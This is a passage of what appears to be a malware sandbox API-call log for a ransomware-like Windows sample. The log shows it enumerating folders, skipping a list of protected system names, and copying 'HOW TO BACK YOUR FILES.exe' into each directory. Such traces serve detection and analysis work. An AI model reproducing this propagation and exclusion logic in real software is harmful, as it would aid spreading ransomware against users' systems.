ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Currency.Gadget", cAlternateFileName="CURREN~1.GAD")) returned 1 [0097.522] lstrcmpiW (lpString1="Currency.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.522] lstrcmpiW (lpString1="Currency.Gadget", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.522] lstrcmpiW (lpString1="Currency.Gadget", lpString2=".") returned 1 [0097.523] lstrcmpiW (lpString1="Currency.Gadget", lpString2="..") returned 1 [0097.523] lstrcmpiW (lpString1="Currency.Gadget", lpString2="windows") returned -1 [0097.523] lstrcmpiW (lpString1="Currency.Gadget", lpString2="bootmgr") returned 1 [0097.523] lstrcmpiW (lpString1="Currency.Gadget", lpString2="temp") returned -1 [0097.523] lstrcmpiW (lpString1="Currency.Gadget", lpString2="pagefile.sys") returned -1 [0097.523] lstrcmpiW (lpString1="Currency.Gadget", lpString2="boot") returned 1 [0097.523] lstrcmpiW (lpString1="Currency.Gadget", lpString2="ids.txt") returned -1 [0097.523] lstrcmpiW (lpString1="Currency.Gadget", lpString2="ntuser.dat") returned -1 [0097.523] lstrcmpiW (lpString1="Currency.Gadget", lpString2="perflogs") returned -1 [0097.523] lstrcmpiW (lpString1="Currency.Gadget", lpString2="MSBuild") returned -1 [0097.523] lstrlenW (lpString="Currency.Gadget") returned 15 [0097.523] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Currency.Gadget" | out: lpString1="Currency.Gadget") returned="Currency.Gadget" [0097.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50d9a0 [0097.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x518ab8 [0097.523] lstrcatW (in: lpString1="Currency.Gadget", lpString2="\\" | out: lpString1="Currency.Gadget\\") returned="Currency.Gadget\\" [0097.523] lstrcatW (in: lpString1="Currency.Gadget\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Currency.Gadget\\HOW TO BACK YOUR FILES.exe") returned="Currency.Gadget\\HOW TO BACK YOUR FILES.exe" [0097.523] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1 [0097.530] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc44f03e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc44f03e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.530] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.530] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PicturePuzzle.Gadget", cAlternateFileName="PICTUR~1.GAD")) returned 1 [0097.530] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.530] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.530] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2=".") returned 1 [0097.530] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="..") returned 1 [0097.531] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="windows") returned -1 [0097.531] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="bootmgr") returned 1 [0097.531] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="temp") returned -1 [0097.531] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="pagefile.sys") returned 1 [0097.531] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="boot") returned 1 [0097.531] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="ids.txt") returned 1 [0097.531] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="ntuser.dat") returned 1 [0097.531] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="perflogs") returned 1 [0097.531] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="MSBuild") returned 1 [0097.531] lstrlenW (lpString="PicturePuzzle.Gadget") returned 20 [0097.531] lstrcpyW (in: lpString1=0x241e8a6, lpString2="PicturePuzzle.Gadget" | out: lpString1="PicturePuzzle.Gadget") returned="PicturePuzzle.Gadget" [0097.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50d9d0 [0097.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x88) returned 0x514488 [0097.531] lstrcatW (in: lpString1="PicturePuzzle.Gadget", lpString2="\\" | out: lpString1="PicturePuzzle.Gadget\\") returned="PicturePuzzle.Gadget\\" [0097.531] lstrcatW (in: lpString1="PicturePuzzle.Gadget\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="PicturePuzzle.Gadget\\HOW TO BACK YOUR FILES.exe") returned="PicturePuzzle.Gadget\\HOW TO BACK YOUR FILES.exe" [0097.531] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1 [0097.535] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RSSFeeds.Gadget", cAlternateFileName="RSSFEE~1.GAD")) returned 1 [0097.535] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.535] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.535] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2=".") returned 1 [0097.535] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="..") returned 1 [0097.535] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="windows") returned -1 [0097.535] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="bootmgr") returned 1 [0097.535] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="temp") returned -1 [0097.535] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="pagefile.sys") returned 1 [0097.535] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="boot") returned 1 [0097.535] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="ids.txt") returned 1 [0097.535] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="ntuser.dat") returned 1 [0097.535] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="perflogs") returned 1 [0097.535] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="MSBuild") returned 1 [0097.535] lstrlenW (lpString="RSSFeeds.Gadget") returned 15 [0097.535] lstrcpyW (in: lpString1=0x241e8a6, lpString2="RSSFeeds.Gadget" | out: lpString1="RSSFeeds.Gadget") returned="RSSFeeds.Gadget" [0097.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50da18 [0097.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x518b40 [0097.535] lstrcatW (in: lpString1="RSSFeeds.Gadget", lpString2="\\" | out: lpString1="RSSFeeds.Gadget\\") returned="RSSFeeds.Gadget\\" [0097.535] lstrcatW (in: lpString1="RSSFeeds.Gadget\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="RSSFeeds.Gadget\\HOW TO BACK YOUR FILES.exe") returned="RSSFeeds.Gadget\\HOW TO BACK YOUR FILES.exe" [0097.535] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1 [0097.539] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SlideShow.Gadget", cAlternateFileName="SLIDES~1.GAD")) returned 1 [0097.539] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.539] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.539] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2=".") returned 1 [0097.539] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="..") returned 1 [0097.539] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="windows") returned -1 [0097.539] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="bootmgr") returned 1 [0097.539] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="temp") returned -1 [0097.539] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="pagefile.sys") returned 1 [0097.539] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="boot") returned 1 [0097.539] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="ids.txt") returned 1 [0097.539] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="ntuser.dat") returned 1 [0097.539] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="perflogs") returned 1 [0097.540] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="MSBuild") returned 1 [0097.540] lstrlenW (lpString="SlideShow.Gadget") returned 16 [0097.540] lstrcpyW (in: lpString1=0x241e8a6, lpString2="SlideShow.Gadget" | out: lpString1="SlideShow.Gadget") returned="SlideShow.Gadget" [0097.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50da00 [0097.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x518898 [0097.540] lstrcatW (in: lpString1="SlideShow.Gadget", lpString2="\\" | out: lpString1="SlideShow.Gadget\\") returned="SlideShow.Gadget\\" [0097.540] lstrcatW (in: lpString1="SlideShow.Gadget\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SlideShow.Gadget\\HOW TO BACK YOUR FILES.exe") returned="SlideShow.Gadget\\HOW TO BACK YOUR FILES.exe" [0097.540] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1 [0097.545] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Weather.Gadget", cAlternateFileName="WEATHE~1.GAD")) returned 1 [0097.545] lstrcmpiW (lpString1="Weather.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.545] lstrcmpiW (lpString1="Weather.Gadget", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.545] lstrcmpiW (lpString1="Weather.Gadget", lpString2=".") returned 1 [0097.545] lstrcmpiW (lpString1="Weather.Gadget", lpString2="..") returned 1 [0097.545] lstrcmpiW (lpString1="Weather.Gadget", lpString2="windows") returned -1 [0097.545] lstrcmpiW (lpString1="Weather.Gadget", lpString2="bootmgr") returned 1 [0097.545] lstrcmpiW (lpString1="Weather.Gadget", lpString2="temp") returned 1 [0097.545] lstrcmpiW (lpString1="Weather.Gadget", lpString2="pagefile.sys") returned 1 [0097.545] lstrcmpiW (lpString1="Weather.Gadget", lpString2="boot") returned 1 [0097.545] lstrcmpiW (lpString1="Weather.Gadget", lpString2="ids.txt") returned 1 [0097.545] lstrcmpiW (lpString1="Weather.Gadget", lpString2="ntuser.dat") returned 1 [0097.545] lstrcmpiW (lpString1="Weather.Gadget", lpString2="perflogs") returned 1 [0097.545] lstrcmpiW (lpString1="Weather.Gadget", lpString2="MSBuild") returned 1 [0097.545] lstrlenW (lpString="Weather.Gadget") returned 14 [0097.545] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Weather.Gadget" | out: lpString1="Weather.Gadget") returned="Weather.Gadget" [0097.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50d9e8 [0097.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7c) returned 0x518788 [0097.545] lstrcatW (in: lpString1="Weather.Gadget", lpString2="\\" | out: lpString1="Weather.Gadget\\") returned="Weather.Gadget\\" [0097.545] lstrcatW (in: lpString1="Weather.Gadget\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Weather.Gadget\\HOW TO BACK YOUR FILES.exe") returned="Weather.Gadget\\HOW TO BACK YOUR FILES.exe" [0097.545] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1 [0097.551] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Weather.Gadget", cAlternateFileName="WEATHE~1.GAD")) returned 0 [0097.551] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0097.551] ReleaseMutex (hMutex=0xec) returned 1 [0097.551] CloseHandle (hObject=0xec) returned 1 [0097.551] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets") returned="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets" [0097.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0097.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530a10 | out: hHeap=0x4f0000) returned 1 [0097.552] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets") returned 53 [0097.552] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1A540023891E762767E4FECAE4CAF23E") returned 0xec [0097.552] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.552] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets") returned="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets" [0097.552] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.552] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\shared gadgets\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.552] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\shared gadgets\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.552] GetLastError () returned 0x0 [0097.552] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0097.553] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.553] CloseHandle (hObject=0xf4) returned 1 [0097.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0097.553] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.553] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc4562800, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4562800, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0097.554] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.554] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.554] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0097.554] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc4562800, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4562800, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.554] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.554] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.554] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0097.554] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0097.554] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4562800, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4562800, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.554] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.554] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4562800, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4562800, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0097.554] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0097.554] ReleaseMutex (hMutex=0xec) returned 1 [0097.554] CloseHandle (hObject=0xec) returned 1 [0097.554] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Adobe\\Acrobat" | out: lpString1="C:\\ProgramData\\Adobe\\Acrobat") returned="C:\\ProgramData\\Adobe\\Acrobat" [0097.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50f640 | out: hHeap=0x4f0000) returned 1 [0097.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509050 | out: hHeap=0x4f0000) returned 1 [0097.554] lstrlenW (lpString="C:\\ProgramData\\Adobe\\Acrobat") returned 28 [0097.554] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1BDF533352EC932C952CB3C480F0E8BA") returned 0xec [0097.554] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.555] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Adobe\\Acrobat" | out: lpString1="C:\\ProgramData\\Adobe\\Acrobat") returned="C:\\ProgramData\\Adobe\\Acrobat" [0097.555] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.555] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Adobe\\Acrobat\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\adobe\\acrobat\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.555] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\adobe\\acrobat\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.555] GetLastError () returned 0x0 [0097.555] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.555] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0097.555] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.556] CloseHandle (hObject=0xf4) returned 1 [0097.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0097.556] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.556] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc466d1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc466d1a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0097.557] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.557] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.557] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0097.557] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc466d1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc466d1a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.557] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.557] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.557] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0097.557] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0097.557] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0097.557] lstrcmpiW (lpString1="10.0", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.557] lstrcmpiW (lpString1="10.0", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.557] lstrcmpiW (lpString1="10.0", lpString2=".") returned 1 [0097.557] lstrcmpiW (lpString1="10.0", lpString2="..") returned 1 [0097.557] lstrcmpiW (lpString1="10.0", lpString2="windows") returned -1 [0097.557] lstrcmpiW (lpString1="10.0", 